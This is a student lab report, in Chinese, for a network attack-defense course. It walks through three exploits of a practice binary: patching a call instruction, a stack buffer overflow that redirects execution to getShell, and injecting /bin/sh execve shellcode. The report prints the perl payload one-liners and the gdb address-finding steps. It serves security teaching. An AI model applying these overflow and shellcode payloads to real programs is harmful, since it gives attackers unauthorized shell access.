当前位置: 首页 > news >正文

# 20232321 2025-2026-1 《网络与系统攻防技术》实验一实验报告

1.实验内容

  • 1.1直接修改程序机器指令,改变程序执行流程————通过直接修改可执行文件改变流程
  • 1.2通过构造输入参数,造成BOF攻击,改变程序执行流————通过利用缓冲区溢出的漏洞,使返回的地址跳转到getshell
  • 1.3注入Shellcode并执行————通过利用缓冲区溢出的漏洞,执行任意自定义的getshell

2.实验过程

(一)基础知识

1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

  • NOP:CPU不执行任何操作跳转到下一个指令
  • JNE:是条件转移指令,如果不相等则跳转。
  • JE:是条件转移指令,如果相等则跳转。
  • JMP:无条件转移指令。
  • CMP:比较指令

2.掌握反汇编与十六进制编程器

  • 反汇编指令:objdump -d xxx
  • 切换为16进制模式:%!xxd
  • 切换为原格式:%!xxd -r

(二)具体过程

2.1直接修改程序机器指令,改变程序执行流程
首先修改主机名为本人姓名拼音,并下载好pwn1可执行文件,将其命名为pwn+学号,运行一次,测试正常,回显了输入内容

图片1

开始反汇编,输入:objdump -d pwn20232321-2 | more

图片2

出现图标后,按Enter键向下滑动,找到main函数。
由于foo函数的首地址为8048491;e8表示“call”,即跳转。
在main函数中找到调用位于地址8048491处的foo函数。
getShell函数的起始地址:804847d
执行跳转指令时EIP寄存器中的值:80484ba
求差得FFFF FFC3,所以call指令对应的机器指令应改为e8 c3 ff ff ff

图片3

修改文件pwn20232321-2,找到e8d7ffffff改为e8c3ffffff

图片4

保存后再次执行该文件,会得到shell提示符#,并且正确执行了所输的shell命令,说明修改成功,执行了getShell

图片5

图片6

2.2通过构造输入参数,造成BOF攻击,改变程序执行流
通过构造输入参数,造成BOF攻击,改变程序执行流
objdump -d pwn20232321 | more命令反汇编

图片7

通过(-0x1c)我们可以知道有28字节的缓冲区,又因为我们是要执行getShell,所以需要用其起始地址来覆盖返回地址,即804847d。因为在程序中函数的调用使用堆栈的形式,在输入的缓冲区上方是4字节的foo函数返回,更上方才是4字节main函数返回,所以应该输入28+4+4=36个数字其中最后4个数字的16进制为\x7d\x84\x04\x08
在这里我选择输入11111111222222223333333344444444\x7d\x84\x04\x08\x0a
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

图片8

2.3注入Shellcode并执行
构造要注入的payload:
Perl-e'print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode

图片9

在第一个终端用(cat input_shellcode;cat) | ./pwn20232321注入攻击,回车后保持这个终端不动,打开另一个终端
另一个终端ps -df |grep pwn20232321查看 其进程号为218970

图片10

图片11

图片12

使用break *0x080484ae设置断点,在此终端输入c,在另一终端输入回车,使其继续执行。再返回调试终端,使用info r esp查找地址。
使用x/16x 0xffffcf4c查看其存放内容,看到了9080cd0b,就是返回地址的位置。
shellcode地址:0xffffcf4c+0x00000004=0xffffcf50

图片13

perl -e 'print "A" x 32;
print"\x50\xcf\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

图片14

图片15

再用(cat input_shellcode20232321;cat) | ./pwn20232321查看结果

图片16

3.问题及解决方案

  • 问题1:如下图所示,当我进行实验3“注入Shellcode并执行”的最后一步时,我按照实验指导书得到了pwn1查询他的shell的地址,然而如果我把pwn1复制出pwn20232321执行时,会出现下图通道断开的error提示。

图片17

  • 问题1解决方案:这是由于进程不同,shell地址不同,所以会报错,直接使用pwn1就可以正常执行。

4.学习感悟、思考等

这次缓冲区溢出实验,让我实实在在地感受到了攻防的门道。从改机器指令让程序跳转到 getShell,到算着缓冲区大小构造输入改执行流,再到调试 Shellcode 地址解决进程不同导致的报错,每一步都得对着反汇编结果和栈地址反复比对查阅资料。通过3种殊途同归的方式入侵了自己的程序后,我切实感受到了网络攻防安全的重要性。虽然中间卡过壳,像在shellcode 注入实验时,为了方便操作我使用源程序的注入文件入侵复制后的程序,出现了意想不到的报错,不过好在通过查找资料发现了管道破裂的的原因是进程比对不上。

参考资料

  • 《逆向及Bof基础实践说明》
  • 《2018-2019-2 20165210《网络攻防技术》Exp1 PC平台逆向破解(BOF实验)》
http://www.hskmm.com/?act=detail&tid=26312

相关文章:

  • 题解:CF1292E Rin and The Unknown Flower
  • 打印A3大小的PDF文件为A4幅面
  • 课程总结2
  • 解码查找算法与哈希表
  • 第二次课动手动脑合集
  • centos8的防火墙管理
  • 如何生成和制作PDF文件 - 实践
  • 1.2 马尔可夫决策过程(Markov Decision Process, MDP)
  • 博弈论dp复习笔记
  • 10.7阅读笔记
  • 如果你的微信支付界面出现“摇一摇”,说明你的隐私正在泄露
  • 多线程和网络总结
  • 8.RV1126-OPENCV 视频中添加LOGO - 指南
  • 学习记录:响应式系统、文件通知与游戏输入机制的异同
  • oppoR9m刷Linux系统: 制作 scatter.txt 和 导出手机preloader
  • 详细介绍:ASR技术(自动语音识别)深度解析
  • 1.1 采样问题 Sampling and Bandits
  • 10.7 NOIP 模拟赛 T2. 中心极限定理
  • 【题解】10.6 国庆中秋 提高组 热身赛
  • UCB-CS70_离散数学_个人笔记:至少和至多 - Zeeh
  • 几个重要的偏微分方程
  • 虚拟机器人学习自然语言指令技术解析
  • 题解:换乘旅行
  • 2025企业级AI数据防泄漏指南:精准选型与核心指标全景透视
  • 感觉你是那种
  • 鲜花:不会说明你有抑郁症1
  • 【比赛记录】2025CSP-S模拟赛59
  • 使用 C 语言实现英文数字验证码识别系统
  • APlayer的配置方法和相关资料整理(已完成)
  • 详细介绍:目标检测任务的评估指标mAP50和mAP50-95